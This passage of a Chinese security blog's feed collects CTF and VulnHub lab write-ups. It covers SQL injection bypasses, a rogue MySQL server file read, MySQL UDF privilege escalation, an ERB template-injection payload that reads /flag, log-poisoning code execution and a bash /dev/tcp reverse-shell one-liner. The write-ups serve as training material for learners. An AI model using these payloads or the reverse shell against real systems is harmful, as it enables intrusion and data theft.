&amp;lt;input type=&amp;#34;submit&amp;#34; name=&amp;#34;submit&amp;#34; value=&amp;#34;提交&amp;#34;&amp;gt;
&amp;lt;/form&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code>&lt;/pre>&lt;h2 id="卫继龚的博客12023wmctf">卫继龚的博客——1（2023WMCTF）&lt;/h2>
&lt;p>下载题目附件，分析app.js&lt;/p>
&lt;p>32-135行的路由，用nodejs实现了werkzeug的console，类似于Flask里面的调试模式的console，不过这里需要鉴权才能进入console&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-02-01-2024%E9%95%BF%E5%9F%8E%E6%9D%AF%E6%A0%A1%E5%86%85%E9%80%89%E6%8B%94%E8%B5%9B-writeup/images/image-3-1024x741.png">&lt;/p>
&lt;p>在edit这个路由里，获取传入的id，并做查询， &lt;code>!/\d+/igm.test(id)&lt;/code>用于检查id是否包含一个或多个数字，所以还是可以注入的，只需要包含数字且不包含into、outfile、dumpfile即可&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-02-01-2024%E9%95%BF%E5%9F%8E%E6%9D%AF%E6%A0%A1%E5%86%85%E9%80%89%E6%8B%94%E8%B5%9B-writeup/images/image-4-1024x444.png">&lt;/p>
&lt;p>再看getPostById方法，这里直接对传入的id做拼接（在post.js）&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-02-01-2024%E9%95%BF%E5%9F%8E%E6%9D%AF%E6%A0%A1%E5%86%85%E9%80%89%E6%8B%94%E8%B5%9B-writeup/images/image-5-1024x515.png">&lt;/p>
&lt;p>直接传&lt;code>/post/1'/edit&lt;/code>发现就可以注入&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-02-01-2024%E9%95%BF%E5%9F%8E%E6%9D%AF%E6%A0%A1%E5%86%85%E9%80%89%E6%8B%94%E8%B5%9B-writeup/images/image-6-1024x111.png">&lt;/p>
&lt;p>前面提到的鉴权，它的pin在程序启动的时候就被打印出来了&lt;/p></description></item><item><title>[2024西湖论剑]only_sql</title><link>https://redshome.top/posts/2024-01-30-2024%E8%A5%BF%E6%B9%96%E8%AE%BA%E5%89%91only_sql/</link><pubDate>Tue, 30 Jan 2024 00:00:00 +0800</pubDate><guid>https://redshome.top/posts/2024-01-30-2024%E8%A5%BF%E6%B9%96%E8%AE%BA%E5%89%91only_sql/</guid><description>&lt;p>拿到题目后打开发现是一个mysql连接面板，初步猜测是在自己的远程数据库里写木马再写到靶机上&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-01-30-2024%E8%A5%BF%E6%B9%96%E8%AE%BA%E5%89%91only_sql/images/image-179.png">&lt;/p>
&lt;p>用vps开一个数据库，给root后连接，发现确实可以执行sql指令&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-01-30-2024%E8%A5%BF%E6%B9%96%E8%AE%BA%E5%89%91only_sql/images/image-180.png">&lt;/p>
&lt;p>但是没法写东西到靶机里（into outfile），搜索后发现是要开一个&lt;code>secure_file_priv&lt;/code>的参数&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-01-30-2024%E8%A5%BF%E6%B9%96%E8%AE%BA%E5%89%91only_sql/images/image-177.png">&lt;/p>
&lt;p>并且我发现了&lt;a href="https://misakikata.github.io/2020/01/MySQL%E5%AE%A2%E6%88%B7%E7%AB%AF%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96/">这篇&lt;/a>博客&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-01-30-2024%E8%A5%BF%E6%B9%96%E8%AE%BA%E5%89%91only_sql/images/image-176-1024x127.png">&lt;/p>
&lt;p>可以用&lt;code>load data local infile&lt;/code>语句在不受这个参数影响的情况下将文件内容读出来并写到我的远程数据库里。当然还可以使用&lt;a href="https://github.com/allyshka/Rogue-MySql-Server/blob/master/rogue_mysql_server.py">搭建蜜罐&lt;/a>的方式直接读文件，我后来选择使用后者&lt;/p>
&lt;p>经过测试，蜜罐搭建后用面板连接，确实可以读取到文件&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-01-30-2024%E8%A5%BF%E6%B9%96%E8%AE%BA%E5%89%91only_sql/images/image-181-1024x455.png">&lt;/p>
&lt;p>将query.php读出来就可以看到靶机运行的mysql的账号密码和库名，回到一开始的面板登录即可。登陆后，试了一圈也没发现flag文件，所以猜测是在环境变量。但是没找到读环境变量的方法，只能想办法rce&lt;/p>
&lt;p>由于实在找不到什么除了sql外的rce手段，所以最后选择直接用udf提权&lt;/p>
&lt;p>&lt;a href="https://dev.mysql.com/doc/refman/5.7/en/adding-udf.html">UDF&lt;/a>（user defined function）用户自定义函数,是MySQL的一个扩展接口，称为用户自定义函数,是用来拓展MySQL的技术手段，用户通过自定义函数来实现在MySQL中无法实现的功能。文件后缀为&lt;code>.dll&lt;/code>或&lt;code>.so&lt;/code>,常用c语言编写。&lt;/p>
&lt;p>先确定&lt;code>secure_file_priv&lt;/code>是空值&lt;/p>
&lt;pre tabindex="0">&lt;code>show variables like &amp;#39;%secure%&amp;#39;;
&lt;/code>&lt;/pre>&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-01-30-2024%E8%A5%BF%E6%B9%96%E8%AE%BA%E5%89%91only_sql/images/image-182.png">&lt;/p>
&lt;p>之后确定一下mysql安装路径&lt;/p>
&lt;pre tabindex="0">&lt;code>show variables like &amp;#39;%basedir%&amp;#39;;
&lt;/code>&lt;/pre>&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-01-30-2024%E8%A5%BF%E6%B9%96%E8%AE%BA%E5%89%91only_sql/images/image-183.png">&lt;/p>
&lt;p>通过主机版本及架构确认mysql位数来选用udf文件&lt;/p>
&lt;pre tabindex="0">&lt;code>show variables like &amp;#39;%compile%&amp;#39;;
&lt;/code>&lt;/pre>&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-01-30-2024%E8%A5%BF%E6%B9%96%E8%AE%BA%E5%89%91only_sql/images/image-184.png">&lt;/p>
&lt;p>查看 plugin 目录&lt;/p>
&lt;pre tabindex="0">&lt;code>show variables like &amp;#39;plugin%&amp;#39;;
&lt;/code>&lt;/pre>&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-01-30-2024%E8%A5%BF%E6%B9%96%E8%AE%BA%E5%89%91only_sql/images/image-185.png">&lt;/p>
&lt;p>还要再看一下有没有满足高位权限&lt;/p>
&lt;pre tabindex="0">&lt;code>select * from mysql.user where user = substring_index(user(), &amp;#39;@&amp;#39;, 1) ;
&lt;/code>&lt;/pre>&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-01-30-2024%E8%A5%BF%E6%B9%96%E8%AE%BA%E5%89%91only_sql/images/image-186-1024x254.png">&lt;/p>
&lt;p>最后看一下plugin的值&lt;/p>
&lt;pre tabindex="0">&lt;code>select host,user,plugin from mysql.user where user = substring_index(user(),&amp;#39;@&amp;#39;,1);
&lt;/code>&lt;/pre>&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-01-30-2024%E8%A5%BF%E6%B9%96%E8%AE%BA%E5%89%91only_sql/images/image-187.png">&lt;/p>
&lt;p>plugin值表示mysql用户的认证方式。当 plugin 的值为空时不可提权，为 &lt;code>mysql_native_password&lt;/code> 时可通过账户连接提权。默认为&lt;code>mysql_native_password&lt;/code>。另外，mysql用户还需对此plugin目录具有写权限。&lt;/p>
&lt;p>上述条件满足且信息搜集完后，这里我选择用msf里自带的udf库文件，路径是&lt;code>/usr/share/metasploit-framework/data/exploits/mysql&lt;/code>&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-01-30-2024%E8%A5%BF%E6%B9%96%E8%AE%BA%E5%89%91only_sql/images/image-178.png">&lt;/p></description></item><item><title>2024寒假训练赛3——Writeup</title><link>https://redshome.top/posts/2024-01-27-2024%E5%AF%92%E5%81%87%E8%AE%AD%E7%BB%83%E8%B5%9B3-writeup/</link><pubDate>Sat, 27 Jan 2024 00:00:00 +0800</pubDate><guid>https://redshome.top/posts/2024-01-27-2024%E5%AF%92%E5%81%87%E8%AE%AD%E7%BB%83%E8%B5%9B3-writeup/</guid><description>&lt;h1 id="web">WEB&lt;/h1>
&lt;h2 id="todo">TODO&lt;/h2>
&lt;p>题目给了两个端口，也就是起了两个web服务，一个是一个TODO应用，一个是。。。额。html测试器&lt;/p>
&lt;p>&lt;strong>应用一&lt;/strong>&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-01-27-2024%E5%AF%92%E5%81%87%E8%AE%AD%E7%BB%83%E8%B5%9B3-writeup/images/image-117-1024x500.png">&lt;/p>
&lt;p>&lt;strong>应用二&lt;/strong>&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-01-27-2024%E5%AF%92%E5%81%87%E8%AE%AD%E7%BB%83%E8%B5%9B3-writeup/images/image-118-1024x455.png">&lt;/p>
&lt;p>作者直接给出了源码，页面里看不出啥，我们直接来看源码&lt;/p>
&lt;p>在&lt;code>util/report.js&lt;/code>发现了可疑的地方。&lt;/p>
&lt;pre tabindex="0">&lt;code>const LOGIN_URL = &amp;#34;http://127.0.0.1/login&amp;#34;;
let browser = null
const visit = async (url) =&amp;gt; {
const ctx = await browser.createIncognitoBrowserContext()
const page = await ctx.newPage()
await page.goto(LOGIN_URL, { waitUntil: &amp;#39;networkidle2&amp;#39; })
await page.waitForSelector(&amp;#39;form&amp;#39;)
await page.type(&amp;#39;wired-input[name=username]&amp;#39;, process.env.USERNAME)
await page.type(&amp;#39;wired-input[name=password]&amp;#39;, process.env.PASSWORD)
await page.click(&amp;#39;wired-button&amp;#39;)
try {
await page.goto(url, { waitUntil: &amp;#39;networkidle2&amp;#39; })
} finally {
await page.close()
await ctx.close()
}
}
const doReportHandler = async (req, res) =&amp;gt; {
...
await visit(url)
...
}
&lt;/code>&lt;/pre>&lt;p>在&lt;code>routes/index.js&lt;/code>里可以看到&lt;code>router.post('/report', doReportHandler);&lt;/code>&lt;/p></description></item><item><title>2024寒假训练赛2——Writeup</title><link>https://redshome.top/posts/2024-01-25-2024%E5%AF%92%E5%81%87%E8%AE%AD%E7%BB%83%E8%B5%9B2-writeup/</link><pubDate>Thu, 25 Jan 2024 00:00:00 +0800</pubDate><guid>https://redshome.top/posts/2024-01-25-2024%E5%AF%92%E5%81%87%E8%AE%AD%E7%BB%83%E8%B5%9B2-writeup/</guid><description>&lt;h1 id="web">WEB&lt;/h1>
&lt;h2 id="窥视">窥视&lt;/h2>
&lt;p>一个简单的论坛系统&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-01-25-2024%E5%AF%92%E5%81%87%E8%AE%AD%E7%BB%83%E8%B5%9B2-writeup/images/image-31-1024x608.png">&lt;/p>
&lt;p>核心的api有&lt;/p>
&lt;pre tabindex="0">&lt;code>登录 POST /auth/login
注册 POST /auth/register
创建/回复帖子 POST /forum/post
&lt;/code>&lt;/pre>&lt;p>审了一圈代码，唯一可操作的地方应该就是创建帖子(&lt;code>POST /forum/post&lt;/code>)那一块了，这里有个文件图片上传&lt;/p>
&lt;pre tabindex="0">&lt;code>ValidationMiddleware(&amp;#34;post&amp;#34;, &amp;#34;/forum&amp;#34;),
async function (req, res) {
const { title, message, parentId, ...convertParams } = req.body;
...
let attachedImage = null;
if (req.files &amp;amp;&amp;amp; req.files.image) {
const fileName = randomBytes(16).toString(&amp;#34;hex&amp;#34;);
const filePath = path.join(__dirname, &amp;#34;..&amp;#34;, &amp;#34;uploads&amp;#34;, fileName);
try {
const processedImage = await convert({
...convertParams,
srcData: req.files.image.data,
format: &amp;#34;AVIF&amp;#34;,
});
await fs.writeFile(filePath, processedImage);
attachedImage = `/uploads/${fileName}`;
} catch (error) {
req.flashError(&amp;#34;There was an issue processing your image, please try again.&amp;#34;);
console.error(&amp;#34;Error occured while processing image:&amp;#34;, error);
return res.redirect(&amp;#34;/forum&amp;#34;);
}
}
...
}
&lt;/code>&lt;/pre>&lt;p>随便进到一篇文章里po一张图片上去，结合POST表单和代码可以看出来，除了&lt;code>title, message, parentId&lt;/code>三个参数外，其他参数都被写到convertParams里了，&lt;br>
&lt;code>const processedImage = await convert&lt;/code>负责用convertParams里的参数对图片进行一个转换。&lt;/p></description></item><item><title>2024寒假训练赛1——Writeup</title><link>https://redshome.top/posts/2024-01-24-2024%E5%AF%92%E5%81%87%E8%AE%AD%E7%BB%83%E8%B5%9B1-writeup/</link><pubDate>Wed, 24 Jan 2024 00:00:00 +0800</pubDate><guid>https://redshome.top/posts/2024-01-24-2024%E5%AF%92%E5%81%87%E8%AE%AD%E7%BB%83%E8%B5%9B1-writeup/</guid><description>&lt;h1 id="web">WEB&lt;/h1>
&lt;h2 id="lovetok">LoveTok&lt;/h2>
&lt;p>拿到附件后先看文件结构&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-01-24-2024%E5%AF%92%E5%81%87%E8%AE%AD%E7%BB%83%E8%B5%9B1-writeup/images/image.png">&lt;/p>
&lt;p>还是比较简单的，老规矩，先从index入口开始&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-01-24-2024%E5%AF%92%E5%81%87%E8%AE%AD%E7%BB%83%E8%B5%9B1-writeup/images/image-1.png">&lt;/p>
&lt;p>注意到这个对象，是个路由，路由方法在上面的函数。文件结构里找一下发现了同名的文件，进去看看&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-01-24-2024%E5%AF%92%E5%81%87%E8%AE%AD%E7%BB%83%E8%B5%9B1-writeup/images/image-2.png">&lt;/p>
&lt;p>发现接收format参数后拿他去new了一个对象，同样跟进一下这个TimeModel文件&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-01-24-2024%E5%AF%92%E5%81%87%E8%AE%AD%E7%BB%83%E8%B5%9B1-writeup/images/image-3-1024x432.png">&lt;/p>
&lt;p>先看构造函数，可以看到会被addslashes过滤一遍。这里简单说一下这个函数的处理方法，如果被处理数据是输入到数据库中的，就会在例如单双引号、斜杠前面加上反斜杠进行转义。算是一种安全处理方式。不管要注意的就是，他只在数据输入进数据库时有效。&lt;/p>
&lt;p>接下来就是一些显示的处理。看到下面的getTime方法，有个eval，应该就是利用这个家伙了&lt;/p>
&lt;p>可以看到format有被放到eval中，但是不管输入什么都会被当成文本。怎么办呢？看提示&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-01-24-2024%E5%AF%92%E5%81%87%E8%AE%AD%E7%BB%83%E8%B5%9B1-writeup/images/image-4-1024x345.png">&lt;/p>
&lt;p>又是一个直接给payload的题了属于是&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-01-24-2024%E5%AF%92%E5%81%87%E8%AE%AD%E7%BB%83%E8%B5%9B1-writeup/images/image-5-1024x505.png">&lt;/p>
&lt;h2 id="霓虹灯">霓虹灯&lt;/h2>
&lt;p>一样，先看文件结构&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-01-24-2024%E5%AF%92%E5%81%87%E8%AE%AD%E7%BB%83%E8%B5%9B1-writeup/images/image-6.png">&lt;/p>
&lt;p>发现不是常规语言，而是ruby&lt;/p>
&lt;p>没事，同样先找index入口。&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-01-24-2024%E5%AF%92%E5%81%87%E8%AE%AD%E7%BB%83%E8%B5%9B1-writeup/images/image-7.png">&lt;/p>
&lt;p>post提交了一个表单，没有明显的接口提示，那就直接看看controllers吧&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-01-24-2024%E5%AF%92%E5%81%87%E8%AE%AD%E7%BB%83%E8%B5%9B1-writeup/images/image-8.png">&lt;/p>
&lt;p>没猜错，controllers控制着表单接收。如果经是验丰富的人看到这个正则匹配应该就知道肯定需要绕过了，但是我们还不清楚这个ERB对象是干嘛用的，再看看其他文件，也没发现有这个ERB类的定义，所以猜测应该是ruby自带的&lt;/p>
&lt;p>搜了一下发现还真是，是个模板，而且还有个模板注入漏洞&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-01-24-2024%E5%AF%92%E5%81%87%E8%AE%AD%E7%BB%83%E8%B5%9B1-writeup/images/image-9-1024x715.png">&lt;/p>
&lt;p>发现ERB是Embedded RuBy的简称，意思是嵌入式的Ruby，是一种文本模板技术&lt;/p>
&lt;p>网上提供了很多这个模板的注入方法，简单看了一下，读文件应该是长下面这样&lt;/p>
&lt;pre tabindex="0">&lt;code>&amp;lt;%= File.open(&amp;#39;flag.txt&amp;#39;).read %&amp;gt;
&lt;/code>&lt;/pre>&lt;p>但是显然这应该不满足我们的正则匹配规则，怎么办呢？我看到了&lt;a href="https://docs.guardrails.io/docs/vulnerabilities/ruby/insecure_use_of_regular_expressions">这篇&lt;/a>文档&lt;/p>
&lt;p>简单来说就是用&lt;code>^&lt;/code>或者&lt;code>$&lt;/code>，但是实测发现并不奏效，不过也当作是个知识点记录一下&lt;/p>
&lt;p>怎么办呢？继续搜，发现了&lt;a href="https://stackoverflow.com/questions/577653/difference-between-a-z-and-in-ruby-regular-expressions/577675#577675">这个&lt;/a>&lt;/p>
&lt;p>是的，使用&lt;code>%0a&lt;/code>或者&lt;code>\n&lt;/code>换行就能绕过。拿我们前面的payload测试一下&lt;/p>
&lt;pre tabindex="0">&lt;code>1111%0a&amp;lt;%= File.open(&amp;#39;/flag&amp;#39;).read %&amp;gt;
&lt;/code>&lt;/pre>&lt;p>这里有个坑要注意，如果上面这句payload直接在前端的输入框输入，就会被多次url编码，导致后端接收到的结果与预期不同，因此要将&lt;code>%&lt;/code>,&lt;code>=&lt;/code>等符号手动url编码后放置到数据包中进行发送&lt;/p>
&lt;p>最终在数据包中的payload应该如下&lt;/p>
&lt;pre tabindex="0">&lt;code>neon=111%0a&amp;lt;%25%3d+File.open(&amp;#39;/flag&amp;#39;).read+%25&amp;gt;
&lt;/code>&lt;/pre>&lt;h2 id="有毒朋友">有毒朋友&lt;/h2>
&lt;p>简单的文件包含与本地命令执行，下载附件后先看入口index.php&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-01-24-2024%E5%AF%92%E5%81%87%E8%AE%AD%E7%BB%83%E8%B5%9B1-writeup/images/image-11.png">&lt;/p>
&lt;p>发现是读cookie，并且看到是被base64编码的，因此可以抓包下来看到&lt;code>serialize($page)&lt;/code>的内容&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-01-24-2024%E5%AF%92%E5%81%87%E8%AE%AD%E7%BB%83%E8%B5%9B1-writeup/images/image-12-1024x307.png">&lt;/p>
&lt;p>在右侧已经被自动解码&lt;/p>
&lt;p>继续看代码，跟进到&lt;code>PageModel&lt;/code>&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-01-24-2024%E5%AF%92%E5%81%87%E8%AE%AD%E7%BB%83%E8%B5%9B1-writeup/images/image-13.png">&lt;/p>
&lt;p>发现有一个文件包含的地方，并且可以通过控制刚刚cookie中的参数来达到访问不同的文件的效果。此时包含什么文件进来都会被当成php代码执行。而现在要找到能够查看并且可&lt;strong>随着数据包而修改&lt;/strong>的文件内容的，第一个想起的就是服务器的日志文件。它会记录我们对服务器的访问请求。具体可以看我的&lt;a href="https://redshome.top/index.php/2023/04/05/92/">这篇博客&lt;/a>&lt;/p>
&lt;p>所以可以通过修改User-Agent，从而达到让日志文件被写入php指令并执行的目的&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-01-24-2024%E5%AF%92%E5%81%87%E8%AE%AD%E7%BB%83%E8%B5%9B1-writeup/images/image-14-1024x800.png">&lt;/p>
&lt;p>这里要注意，得发送两次才能看到ls的结果，可以思考一下这是为什么&lt;/p>
&lt;h1 id="misc">MISC&lt;/h1>
&lt;h2 id="嘈杂">嘈杂&lt;/h2>
&lt;p>就像提示里说的那样，这里直接放exp&lt;/p>
&lt;pre tabindex="0">&lt;code>import numpy as np
from scipy.io.wavfile import read
from scipy.fft import dst
# 读取音频文件
final_waveform = read(&amp;#34;encrypted.wav&amp;#34;)
# 对音频信号进行离散余弦变换（DST）
result = dst(final_waveform[1])
# 从变换结果中选择幅度大于10^5的值
amplitudes = result[result &amp;gt; 10**5]
amplitudes.sort()
# 用于存储恢复的文本
recovered = &amp;#34;&amp;#34;
# 遍历选定的幅度值
for a in amplitudes:
# 找到幅度在变换结果中的位置
found = np.where(result == a)[0][0]
# 判断位置是否为奇数
if found % 2 == 1:
# 计算字符对应的ASCII码值
c = round(found / 20)
# 将ASCII码值缩小，直到在可打印字符范围内
while c &amp;gt; 128:
c //= 4
# 将字符添加到恢复的文本中
recovered += chr(c)
# 打印恢复的flag
print(recovered)
&lt;/code>&lt;/pre>&lt;h2 id="莫斯档案馆">莫斯档案馆&lt;/h2>
&lt;p>每一层有一个pwd.png和一个压缩包，pwd.png是一个彩色条纹和圆点的非常小的图像，也就是摩斯密码，套了很多很多层，写脚本去识别摩斯密码，并递归解压。&lt;/p></description></item><item><title>2023TKKCTF——Write up</title><link>https://redshome.top/posts/2023-12-11-2023tkkctf-write-up/</link><pubDate>Mon, 11 Dec 2023 00:00:00 +0800</pubDate><guid>https://redshome.top/posts/2023-12-11-2023tkkctf-write-up/</guid><description>&lt;blockquote>
&lt;p>⚠：如果需要本次比赛源代码的可以私聊找我要。本篇wp主要面向观众是新成员，用语会比较口语化，如有不严谨的地方还请见谅&lt;/p>
&lt;/blockquote>
&lt;h1 id="web">WEB&lt;/h1>
&lt;h2 id="easy_sql">easy_SQL&lt;/h2>
&lt;p>拿到题第一步先审计代码，这里过滤只有一个clean函数，按照常规有两种解题思路&lt;/p>
&lt;ul>
&lt;li>
&lt;p>1.在查&lt;code>pass&lt;/code>的地方绕过，在&lt;code>name&lt;/code>后输入管理员账号即可。但问题就是，我们现在并没有管理员账号，因此没法通过这个方法定位到我们要查的地方。因此这个方法就先排除&lt;/p>
&lt;/li>
&lt;li>
&lt;p>2.、在&lt;code>name&lt;/code>或&lt;code>pass&lt;/code>里插入联合查询，以此来达到读库的目的。但实际操作种碰到问题不仅和上面第一种思路的问题有类似情况，而且还会出现单/双引号被clean过滤的情况&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>怎么办呢？我们先把query里的sql语句提取出来做一下研究&lt;/p>
&lt;pre tabindex="0">&lt;code>SELECT * FROM users WHERE name=&amp;#39;&amp;#34;.$username.&amp;#34;&amp;#39; AND pass=&amp;#39;&amp;#34;.$password.&amp;#34;&amp;#39;;
&lt;/code>&lt;/pre>&lt;p>假设我现在输入的username=admin，password=123，那么就是&lt;/p>
&lt;pre tabindex="0">&lt;code>SELECT * FROM users WHERE name=&amp;#39;admin&amp;#39; AND pass=&amp;#39;123&amp;#39;;
&lt;/code>&lt;/pre>&lt;p>这里我们先尝试把&lt;code>AND pass&lt;/code>删掉，在username输入&lt;code>\&lt;/code>&lt;/p>
&lt;pre tabindex="0">&lt;code>SELECT * FROM users WHERE name=&amp;#39;admin\&amp;#39; AND pass=&amp;#39;123&amp;#39;;
&lt;/code>&lt;/pre>&lt;p>为什么这样就叫把&lt;code>AND pass&lt;/code>删掉呢？因为原本在admin后的引号被斜杠转义成了内容，丧失了原先用来“框住”字符串的功能，而这个功能已经被&lt;code>pass=&lt;/code>后面的引号给替代。此时我们只要在password输入&lt;code>or 1=1 --&lt;/code> ，SQL语句变成&lt;/p>
&lt;pre tabindex="0">&lt;code>SELECT * FROM users WHERE name=&amp;#39;admin\&amp;#39; AND pass=&amp;#39;or 1=1 -- 123&amp;#39;;
&lt;/code>&lt;/pre>&lt;p>&lt;code>123';&lt;/code>就会被注释掉，而这句语句where后面的条件因为&lt;code>or 1=1&lt;/code>而100%成立，因此就会执行&lt;code>SELECT * FROM users&lt;/code>，即可拿到flag。&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2023-12-11-2023tkkctf-write-up/images/image-1024x210.png">&lt;/p>
&lt;p>这里有个细节需要注意，就是&lt;code>--&lt;/code>后面是要带个空格的，一些浏览器会把URL中最后一个空格删掉，因此要手动补一个%20&lt;/p>
&lt;h2 id="时光密钥">时光密钥&lt;/h2>
&lt;p>PS：本题由于容器实例时间校对有错，因此判断登录用的时间戳比真实unix时间戳多了大约15秒。做出来的成员应该是运气比较好，多算了二十几秒就开始发包尝试&lt;/p>
&lt;p>打开实例，根据提示，先算出合适的时间戳，再用burp抓包修改一下即可&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2023-12-11-2023tkkctf-write-up/images/image-1-1024x709.png">&lt;/p>
&lt;p>在网上找到现在的时间戳&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2023-12-11-2023tkkctf-write-up/images/image-2-1024x408.png">&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2023-12-11-2023tkkctf-write-up/images/image-3-1024x695.png">&lt;/p>
&lt;p>burp抓包&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2023-12-11-2023tkkctf-write-up/images/image-4-1024x438.png">&lt;/p>
&lt;p>为了方便操作，我们把数据包发到repeater&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2023-12-11-2023tkkctf-write-up/images/image-5.png">&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2023-12-11-2023tkkctf-write-up/images/image-6-1024x920.png">&lt;/p>
&lt;p>更新一下时间戳，预估个比当前时间戳多20到25秒左右的时间放到password，不断点击send直至出现下面所示的cookie即可&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2023-12-11-2023tkkctf-write-up/images/image-7-1024x586.png">&lt;/p>
&lt;p>根据所给提示里的博客可知，base64解码该cookie即可获得下面结果&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2023-12-11-2023tkkctf-write-up/images/image-8.png">&lt;/p>
&lt;p>将gift值后面的东西进行base32解码即可&lt;/p></description></item><item><title>[VulnHub]第三章</title><link>https://redshome.top/posts/2023-10-24-vulnhub%E7%AC%AC%E4%B8%89%E7%AB%A0/</link><pubDate>Tue, 24 Oct 2023 00:00:00 +0800</pubDate><guid>https://redshome.top/posts/2023-10-24-vulnhub%E7%AC%AC%E4%B8%89%E7%AB%A0/</guid><description>&lt;blockquote>
&lt;p>本章靶场：&lt;a href="https://www.vulnhub.com/entry/prime-1,358/">Prime: 1&lt;/a>&lt;/p>
&lt;/blockquote>
&lt;h2 id="fuzz">FUZZ&lt;/h2>
&lt;p>用来用去感觉还是wfuzz好用，参数简洁明了。这个靶机下用到参数有下面这些&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2023-10-24-vulnhub%E7%AC%AC%E4%B8%89%E7%AB%A0/images/image-25-1024x79.png">&lt;/p>
&lt;h2 id="wpscan">wpscan&lt;/h2>
&lt;p>wpscan的&lt;code>-e&lt;/code>参数，可以用来枚举用户名&lt;/p>
&lt;h2 id="wordpress修改主题文件">wordpress修改主题文件&lt;/h2>
&lt;p>一个意料之外又情理之中的功能，可以用来写一句话木马&lt;/p>
&lt;p>防御办法：wp禁止主题编辑操作，通过在wp-config.php中，把define(‘DISALLOW_FILE_EDIT’,true)&lt;/p>
&lt;h2 id="msf提权漏洞搜索">MSF提权漏洞搜索&lt;/h2>
&lt;p>在拿到普通用户后，在msf中尝试&lt;code>searchsploit&lt;/code>指令，后面加上系统的版本信息，就能找到提权漏洞的exp，编译后上传，再运行即可&lt;/p></description></item><item><title>[VulnHub]第二章</title><link>https://redshome.top/posts/2023-07-23-vulnhub%E7%AC%AC%E4%BA%8C%E7%AB%A0/</link><pubDate>Sun, 23 Jul 2023 00:00:00 +0800</pubDate><guid>https://redshome.top/posts/2023-07-23-vulnhub%E7%AC%AC%E4%BA%8C%E7%AB%A0/</guid><description>&lt;blockquote>
&lt;p>本章靶场：&lt;a href="https://www.vulnhub.com/entry/corrosion-2,745/">Corrosion系列&lt;/a>&lt;/p>
&lt;/blockquote>
&lt;h2 id="kali上的目录扫描字典">kali上的目录扫描字典&lt;/h2>
&lt;p>经过几次vulnhub打靶后发现kali上的目录扫描器可谓是五花八门，一些靶场甚至会出现没有使用指定扫描器就没有正确结果的情况&lt;/p>
&lt;p>以下是整理的一些常用字典目录，当然可能有疏漏的地方，但也足以应付大部分场景&lt;/p>
&lt;pre tabindex="0">&lt;code>#除了默认扫描外，绝对目录均为/usr
dirsearch默认扫描
nikto默认扫描
../share/dirb
../share/dirbuster
../wordlist
&lt;/code>&lt;/pre>&lt;h2 id="bash--i">Bash -i&lt;/h2>
&lt;p>这个参数的作用是创建一个新的bash交互&lt;/p>
&lt;p>但真正实用的是下面这句反弹shell&lt;/p>
&lt;pre tabindex="0">&lt;code>bash -i &amp;gt;&amp;amp; /dev/tcp/IP地址/端口 0&amp;gt;&amp;amp;1
&lt;/code>&lt;/pre>&lt;p>具体分析可以看&lt;a href="https://zoresmile.cn/linux/2020/04/927.html">这里&lt;/a>&lt;/p>
&lt;h2 id="fcrackzip">fcrackzip&lt;/h2>
&lt;p>这是一个压缩包密码爆破工具。可以使用自定义字符组合&lt;/p>
&lt;pre tabindex="0">&lt;code>fcrackzip -b -c &amp;#39;aA1&amp;#39; -l 1-10 -u 123lybbn.zip
&lt;/code>&lt;/pre>&lt;ul>
&lt;li>
